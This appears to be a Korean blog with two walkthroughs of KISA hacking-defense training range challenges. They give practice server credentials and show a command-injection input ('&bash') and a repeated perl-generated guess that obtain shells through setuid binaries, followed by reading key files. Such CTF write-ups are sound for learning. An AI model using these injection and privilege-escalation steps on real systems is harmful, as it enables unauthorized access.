KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level2 문제를 보면 아래와 같습니다


문제 제목 : 확률 게임에서 이겨라!


문제 설명 : 확률 게임이 있다. 이 게임은 1에서 

100중 숫자를 선택하여 컴퓨터가 선택한 값과 일치 

해야 된다. 일치하면 잭팟이 터지고 SHELL을 획득

할 수 있다. 게임에서 이겨라!




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system200

접근 PW : securitypractice




추천은 저를 춤추게 합니다 ^^



접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 12

-r-sr-x---. 1 root200 system200 9424 Aug  7 00:35 system200


1번 문제와 매우 유사한 형식의 실행 파일인것을 알 수 있습니다. 


우선 파일을 실행해 봅시다. 


-bash-4.1$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :1

Failed...


기본 메뉴가 나오면 '1'을 입력해 게임을 시작할 수 있고, 1~100까지의 숫자중 하나를 입력해서 맞추는 게임이군요. 

풀이 방법은 여러가지가 있을 수 있겠지만.. 저는 brute force 방식으로 풀었습니다. 


$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :`perl -e 'print "1"x500'` 


system200 프로그램에 '1'이란 값을 500개 입력 하라는 의미입니다. 

숫자 1을 입력해서 잭팟을 시도합니다. 


확률상 100번만 시도하면 성공 할 수 있겠죠? 물론, 운이 좋다면 더 빨리 성공 할 테구요. 


한참을 시도한 끝에 숫자를 맞추게 되면 아래와 같은 메시지가 나오면서 종료됩니다. 


INPUT - -----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :!Conguraturation !!!


권한을 확인해 봅시다. 


sh-4.1$ id

uid=504(root200) gid=502(system200) groups=504(root200),502(system200) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


실제 화면을 보면 이렇습니다. 



이제 1번 문제와 동일하게 key파일에 들어 있는 내용을 읽으면 끝!


$ cat /home/root200/key


문제 출제자의 의도대로 푼게 맞는지는 모르겠지만.. 어쨌든 잘 풀리니 더 고민하지 않기로 했습니다. ^^ 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level1 문제를 보면 아래와 같습니다. 


문제 제목 : 취약한 메아리 프로그램


문제 설명 : 개발자는 메아리 프로그램을 제작 하

였다. 

허나 어설픈 보안 설정으로 해당 프로그램의 취약

점이 존재 한다. 

취약점을 찾아서 SHELL을 획득 하여라.




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system100

접근 PW : !kisa_system_gogosing~!!!



추천은 저를 춤추게 합니다 ^^




접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 8

-r-sr-x---. 1 root100 system100 7841 Dec  8  2012 system100


system100이란 파일이 있는데 파일의 사용 권한 부분을 보면 소유자의 권한은 'r-s' 입니다. 
SetUID()로 권한을 부여 했다는 말이겠죠. 
그리고, 그룹 권한은 'r-x'로 실행권한을 부여해주었네요. 

다음 필드인 소유자ID와 소유자의 그룹ID를 보면, 그룹ID는 접속해 있는 'system100'인데 소유자는 'root100'이군요. 

다시 말해서, 파일을 실행하면 root100의 권한을 얻을 수 있다는 의미가 됩니다. 


자, 실행 권한이 있는것을 확인 했으니 system100파일을 실행해봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : a

a


문제 설명에서 처럼 입력한 값을 그대로 출력해주고 바로 종료되버립니다. 

프로그램을 종료 시키지 않고 우리가 원하는 어떤 정보를 출력하도록 해야겠죠?



이번 문제에서 찾아야할 취약점은 특수 문자에 대한 예외처리가 제대로 이루어 지지 않아서 발생하는 문제점 입니다. 


linux 명령어에서 '&'는 프로세스를 백그라운드로 실행 되도록 하는 명령입니다. 

이 문자 뒤에 'bash'를 실행하도록 입력값으로 넣어봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : &bash


어떤 변화가 발생 했는지 자신의 계정 정보를 확인해봅시다. 

bash-4.1$ id
uid=503(root100) gid=501(system100) groups=503(root100),501(system100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

오호.. 권한이 'root100'이 되었군요. 

그럼 권한이 상승했으니 root100의 home 폴더에 어떤 파일이 있나 살펴봅시다. 

$ ls /home/root100/
key

파일명만 봐도 정답이 들어있는 파일이란걸 알 수 있죠. 
파일에 들어있는 내용을 입력하면 레벨 클리어~


Posted by KT한
,